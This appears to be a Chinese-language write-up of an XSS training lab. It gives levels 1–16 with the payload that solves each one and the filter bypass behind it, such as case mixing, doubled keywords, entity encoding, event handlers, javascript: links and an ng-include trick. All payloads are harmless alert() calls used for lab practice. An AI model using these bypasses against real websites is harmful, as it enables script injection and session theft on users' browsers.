XSS-lab

Level 1

//反射型xss注入

// JS弹窗函数alert()

遇到?name=test,不妨直接试试

1
?name=<script>alert()</script>

Level 2

同1

查看源码发现<>被编码了,用双引号把左右两边属性的引号标签闭合即可

1
"><script>alert()</script>"

注:

1
2
3
4
5
6
7
8
htmlspecialchars()编码 “<” “>” 
&lt;代表小于号(<)
&gt;代表大于符号(>)
&le;表示小于或等于符号(<=)
&ge;表示大于或等于符号(>=)
&amp;表示&
&quot;表示”
'表示’

Level 3

//使用不带有<>的事件代码,例如:onfocus、onmouseover

先要知道:onfocus 事件在对象获得焦点时发生。 onfocus 通常用于

1
<input>、<select> 以及<a>

最简单的实例就是网页上的一个输入框。

猜测后端遇到转换特殊字符为html实体的htmlspecialchars()函数或者str_replace特殊字符删除函数,可以用标签的特殊事件来执行js代码

1
2
' onfocus=javascript:alert() '				——点击输入框获得焦点
' onmouseover=javascript:alert() ' ——鼠标移至输入框上

Level 4

同3,单引号改为双引号

Level 5

//a标签的href属性

观察发现:

1
2
3
1、<script>标签会被替换成<scr_ipt>

2、onfocus事件会被替换成on_focus

所以换一种标签或事件。例如标签

经过一番尝试把他们通通闭合上

联想截图_20240710113441

1
"><a href=javascript:alert()>test</a"

最后点一下蓝色的test即可

联想截图_20240710113615

Level 6

//大小写绕过

随便放一条语句进去发现过滤了好多东西,绕过试试

1
"><sCript>alert()</sCript>"

Level 7

//双写绕过

仍然是随便放一句话进去测试,查看源代码

image-20240710151749264

看这里的最后一行,发现on和script没掉了,用双写绕过,把on和script补回来

1
" oonnfocus=javascscriptript:alert() "

Level 8

//href属性自动解析Unicode编码

JavaScript伪协议:

它的功能是将

1
JavaScript:...

后面的语句当做JavaScript代码在本页面执行,并不跳转到其他网页,而是结果返回给当前页面。

它经常与a标签一起使用,如:

1
"><a href=javascript:alert(/xss/)>点击我</a>

功能是在当前页面弹出一个弹窗。

还是一样测试一下语句,发现把它丢进了一个链接,还过滤了好多,大小写、双写通通失败,于是想到了href能自动解Unicode编码

image-20240710155403069

那就构造一段JavaScript伪协议:

1
javascript:alert()

去网站上找个工具编码得到

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

//html实体编码

测试一个语句,发现ri变成了r_i

image-20240710161018041

试试html实体编码(下面是ri的编码)

1
&#114;&#105;

所以最后就是

1
javasc&#114;&#105;pt:alert()

Level 9

//strpos()函数绕过

不知道为什么别人能看到php的源码,经分析得知上传的语句必须包含”http://“,否则会出现“链接不合法”的提示。

但是我们好像不太需要这个”http://“,所以给他注释掉就行。

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

前面一串是js伪协议的unicode编码

Level 10

点进去输入框什么的都没有,于是查看源代码,发现都给他用hidden隐藏起来了,于是回去修改一下网页源代码,把hidden改为text,出现了输入框,但是没得提交,所以想到直接把value的值给改成注入语句。总共有三个嘛,都试一试,发现第三个改好之后就成功了。

联想截图_20240711102701

Level 11&&12&&13&&14

同10,一模一样的做法都可以做

//14关可能不一样一点,在iframe那里加一句即可。

Level 15

查看源码发现里面出现了ng-include

注:

1
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

于是试试能不能包含之前的关卡,用之前 的注入方式通过本关。

选择包含第一关:

1
?src='/level1.php'

联想截图_20240711142444

成功包含第一关,然后发现第一关最开始的注入方式不能用,可能是网页禁了script,那就换掉

1
?src='/level1.php?name=<img src=1 onmouseover=alert()>'
1
?src='level1.php?name=<a href="javascript:alert(/xss/)">xss<a/>'

Level 16

空格可以用回车来代替绕过

接下来选一个不常用的标签来绕过

1
?keyword=<svg%0Aonload=alert()>
//onload加载完成事件

onload事件是浏览器解析完页面之后就会自动触发的事件。

Level 17之后全需要flash插件,先不做了。